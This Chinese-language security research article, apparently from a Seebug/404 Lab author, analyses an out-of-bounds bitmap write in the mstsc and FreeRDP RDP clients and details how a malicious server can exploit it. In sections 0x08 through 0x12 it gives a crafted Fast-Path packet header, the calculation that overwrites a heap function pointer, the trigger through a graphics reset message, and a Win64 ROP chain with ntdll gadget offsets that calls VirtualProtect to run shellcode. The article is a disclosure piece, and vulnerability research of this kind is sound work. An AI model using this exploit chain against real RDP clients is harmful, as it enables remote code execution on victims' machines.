作者:sunglin@知道創宇404實驗室/0103 sec team
時間:2021年10月9日
0x00 RDP協議的應用
RDP協議(遠程桌面協議)是微軟公司創建的專有協議,它允許系統用戶通過圖形界面連接到遠程系統,主要分為服務端和客戶端,這篇我們來聊聊客戶端相關應用與攻擊面。 主要流行的應用包括:
mstsc.exe(微軟系統自帶)

freerdp (最流行且成熟的開源應用 , github star超過5.6k, fork接近10k)

0x01 RDP協議通信機制
- [MS-RDPBCGR]基于ITU(國際電信聯盟)T.120系列協議。T.120標準由一組通信和應用層協議組成,使實施者能夠為實時,多點數據連接和會議創建兼容的產品和服務。
- [MS-RDPBCGR]協議可通過靜態虛擬通道和動態擴展協議建立隧道進行傳輸;
- 其中有9種協議可建立靜態虛擬通道包括常用的(剪切板、音頻輸出、打印虛擬頻道、智能卡等)
- 其中12種協議可與動態頻道虛擬頻道擴展[MS-RDPEDYC]建立隧道包括(視頻虛擬頻道、音頻輸入、USB設備、圖形管道、即插即用設備等等)
- 7種協議擴展了[MS-RDPBCGR]并且還包括UDP傳輸擴展[MS-RDPEUDP]、網關服務器 協議[MS-TSGU]等。

0x02 RDP協議圖像處理通道攻擊面
rdp協議中對圖形處理中有兩種通道,多種方式,協議也是很復雜的

0x03 攻擊msrdp圖形處理通道
attack fastpath
api:
CCO::OnFastPathOutputReceived(CCO *this, unsigned __int8 *a2, unsigned int a3)
{
switch()
{
case1:
CTSCoreGraphics::ProcessBitmap
.............
case 9:
CCM::CM_ColorPointerPDU
case A:
case B:
............
}
}
對此通道進行fuzzing,而后獲取到了msrdp的crash:


0x04 簡要分析此漏洞
漏洞存在模塊mstscax.dll,api是CUH::UHLoadBitmapBits CUH::UHGetMemBltBits獲取存儲的bitmap數據時訪問到數組邊界造成數據越界

0x05 漏洞相似性分析
msrdp與freerdp存在相同的漏洞?
freerdp CVE-2020-11525
同樣的bitmap數組越界當 id == maxCells時將會
數組越界并且和msrdp是同一個漏洞

0x06 反向攻擊客戶端的路徑和方式

0x07 漏洞背景
對于rdp圖形通道的漏洞,我于7月份的時候向freerdp報告了一枚漏洞,并且freerdp回復了我并分配了cve號 CVE-2020-15103,當時提到的漏洞原因是整數溢出,并且freerdp發布了2.2.0版本修復了我提到的漏洞,重新深入分析了這枚漏洞,發現并不只是整數溢出那么簡單,而是freerdp并未正確修復此漏洞,遂即對此漏洞進行了深入分析。
0x08 漏洞分析
首先在rdp協議建立連接的時候,server發送Demand Active PDU協議字段給client的進行功能交換階段時候,通過以下的圖可以看到存在于連接過程的哪一階段了。

freerdp對應處理的代碼在rdp.c的回調函數rdp_recv_callback中進行連接部分的處理,當rdp->state為CONNECTION_STATE_CAPABILITIES_EXCHANGE的時候,將會接收Demand Active PDU協議字段,繼續深入協議字段,Demand Active PDU協議字段將會通過capabilitySets字段來設置每一項功能
capabilitySets (variable): An array of Capability Set (section 2.2.1.13.1.1.1) structures. The number of capability sets is specified by the numberCapabilities field
這里關注的是Bitmap Capability Set

Bitmap Capability Set如下,其將會設置字段desktopWidth和desktopHeight,而這兩個字段將會用于創建窗口會話,并且會通過這兩個字段分配一片內存,而這片內存就是造成后面越界的區域

在freerdp中api調用路徑如下:
rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set
在rdp_read_bitmap_capability_set函數中將會接收到server端的數據,將會設置desktopWidth和desktopHeight
https://github.com/FreeRDP/FreeRDP/blob/libfreerdp/core/capabilities.c

freerdp將會在wf_post_connect中進行一系列的初始化,包括初始化bitmap,api調用路徑如下:
wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection
最后將會調用windows的api CreateDIBSection,CreateDIBSection將會以bmi.bmiHeader.biWidth * bmi.bmiHeader.biHeight * bmi.bmiHeader.biBitCount創建以4096頁為基數的大內存。
https://github.com/FreeRDP/FreeRDP/blob/client/Windows/wf_graphics.c

在freerdp建立并初始化完成后,調用下這片內存,并且觸發漏洞,通過Fast-Path數據來發送Bitmap Data,而后freerdp將會利用到初始化的內存,并且沒有做任何限制

發送的數據頭部如下:
00,
0x84,0x24,//size = 1060
0x04,
0x1e,0x4, //size - 6
0x04, 0x00,//cmdType
0x00, 0x00,//marker.frameAction
0xFF, 0xE3, 0x77, 0x04,//marker.frameId
0x01, 0x00,//cmdType
0x00, 0x00, //cmd.destLeft // nXDst * 4
0x00, 0x00, //cmd.destTop // nYDst * width
0x00, 0x03,//cmd.destRight
0x04, 0x04,//cmd.destBottom
0x20, //bmp->bpp
0x80,//bmp->flags
0x00,//reserved
0x00, //bmp->codecID
0x00, 0x01, //bmp->width *4
0x01, 0x0, //bmp->height
0x00 ,4,0,0,//bmp->bitmapDataLength
通過特殊制作的頭部數據,將會獲取如下路徑:
rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy
先來分析下這個函數gdi_surface_bits,在gdi_surface_bits中有三條路徑可以解析和處理接收的數據,case RDP_CODEC_ID_REMOTEFX和case RDP_CODEC_ID_NSCODEC,這兩條路徑都會將原始數據進行解析轉換,然而在case RDP_CODEC_ID_NONE中,將會直接得到拷貝原始數據的機會。
Static BOOL gdi_surface_bits(rdpContext* context, const SURFACE_BITS_COMMAND* cmd)
{
switch(cmd->bmp.codecID)
{
case RDP_CODEC_ID_REMOTEFX:
rfx_process_message();
case RDP_CODEC_ID_NSCODEC:
nsc_process_message();
case RDP_CODEC_ID_NONE:
freerdp_image_copy()
}
}
最后來到數據越界的函數freerdp_image_copy(),這里的copyDstWidth、nYDst、nDstStep 、xDstOffset 變量都是可控制的,memcpy這里將會越界寫
這里有個問題,CreateDIBSection分配的是以4096頁為基數的大內存,而此片內存并沒有在freerdp進程內,即使越界寫也很難覆寫到freerdp的內存,而這里將desktopWidth或desktopHeight置0的話,將會導致CreateDIBSection分配內存失敗,導致失敗后將會在gdi_init_primary中進入另一條路徑gdi_CreateCompatibleBitmap,而這里將會調用_aligned_malloc以16字節對稱來分配內存,而這里desktopWidth或desktopHeight置0,所以將會分配16字節大小的穩定內存,而這個內存是在freerdp進程內的。

0x09 假如說能獲取信息泄露
假如這里通過自制工具可以泄露堆地址,比如從最輕松簡單的開始,通過泄露越界內存的地址,這個結構體就在gdi_CreateCompatibleBitmap中調用并分配了將會越界的內存
觀察以下結構體將會發現data指針后面將會有個free的函數指針,這里泄露兩個地址,GDI_BITMAP結構體的地址和data指針的地址,只要GDI_BITMAP結構體的地址高于data指針的地址,就可以計算出偏移offset,通過設置offset精確的將free覆蓋,最后通過主動調用free,這樣就可以控制rip了

0x10 精確計算offset
再來回顧下nYDst 是cmd->destTop,nDstStep 是cmd->bmp.width * 4,xDstOffset為cmd.destLeft*4,copyDstWidth為cmd->bmp.width * 4
BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset];
memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth);
這里offset = gdiBitmap_addr - Bitmapdata_addr;
需要通過設置nYDst * nDstStep *1 + xDstOffset = offset
發送bitmapdata 的數據包括shellcode的大小是1060,頭部大小是36
shellcode的布局如下:

最后的計算如下:
if (gdi_addr > Bitmapdata_addr)
{
eip_offset = gdi_addr - Bitmapdata_addr;
char okdata = eip_offset % 4;
UINT64 copywidth = 1024 * 0xffff;
if (okdata == 0)
{
if (eip_offset < copywidth)
{
eip_offset = eip_offset - 1016 + 32 + 32 + 64; //向后退32 + 64
eip_y = eip_offset % 1024;
eip_ = (eip_offset - eip_y) / 1024;
nXDst = eip_y / 4;
}
}
}
0x11 主動調用free
通過發送以上的bitmap_data數據將會控制hBitmap->free,通過發送RDPGFX_RESET_GRAPHICS_PDU消息將會重置,并且會先調用hBitmap->free釋放初始化的資源。

RDPGFX_RESET_GRAPHICS_PDU消息處理api流程如下:
rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex

通過調用hBitmap->free(hBitmap->data),將會控制rip
0x12 在win64上面構造rop鏈
首先rop鏈的條件是得通過pop ret來利用棧上面的數據,所以說得控制棧上面的數據才能構造出完整的rop利用鏈,這里觀察了下調用free時的寄存器值:
Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40
hBitmap->data的地址上面的堆數據正是被控制的數據,這里在忽略基址隨機化的前提下,在ntdll中通過ROPgadget找到了這樣的滑塊:
48 8B 51 50 mov rdx, [rcx+50h]
48 8B 69 18 mov rbp, [rcx+18h]
48 8B 61 10 mov rsp, [rcx+10h]
FF E2 jmp rdx
只要執行這條rop鏈就可以完美控制rsp,接下來只需要調用win api來獲取一片可執行代碼的內存,這里采用最簡單的方式就是直接調用virtprotect來改寫shellcode存在的內存頁為可執行狀態,在x86_64上面,調用api都是通過寄存器來傳參的,而virtprotect的傳參如下:
Mov r9d,arg4
Mov r8d,arg3
Mov edx,arg2
Mov ecx,arg1
Call virtprotect
綜上所述,我的rop鏈代碼是這樣構造的:
UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov rbp, [rcx+18h],mov rsp, [rcx+10h],jmp rdx
UINT64 rop2 = 0x00008c4b4; // ntdll pop r9 pop r10 pop r11 ret
UINT64 rop3 = 0x8c4b2; //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
UINT64 rop4 = 0xb416; //ntdll pop rsp ret
UINT64 rop5 = 0x8c4b7; //ntdll pop rdx; pop r11; ret
UINT64 rop6 = 0x21597; //ntdll pop rcx; ret
UINT64 rop7 = 0x64CC0; //virtprotect
UINT64 shellcode_addr = ntdll_Base_Addr + rop1;
UINT64 rsp_godget = gdi_addr - 104;
memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32 + 64 rop 之rsp控制棧
memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr)); //控制rcx
memcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget)); //rsp賦值
shellcode_addr = ntdll_Base_Addr + rop3;
memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx賦值,rop 開始執行
shellcode_addr = ntdll_Base_Addr + rop5; //rop 棧賦值rdx
UINT64 ret1 = 924 - 72;
memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = ntdll_Base_Addr + rop6; //rop re2
UINT64 ret2 = 924 - 48;
memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = KERNEL32Base_Addr + rop7; //rop re3
UINT64 ret3 = 924 - 32;
memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg4 = 924 - 96;
shellcode_addr = gdi_addr - 112; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr));
UINT64 virtprotect_arg1 = 924 - 40;
shellcode_addr = gdi_addr - 888; //rop virtprotect_arg4
memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr));
memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret to shellcode
respose_to_rdp_client(shellcode, 1060);//attack heap overflow
通過rop鏈到執行shellcode,寄存器rdi的值都沒有被改寫,所以最后在執行shellcode的時候,可以通過rdi來恢復棧地址,這里是通過最簡單的方式了:
Mov rsp,rdi
最后執行shellcode。
請勿用于其他途徑。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1734/
暫無評論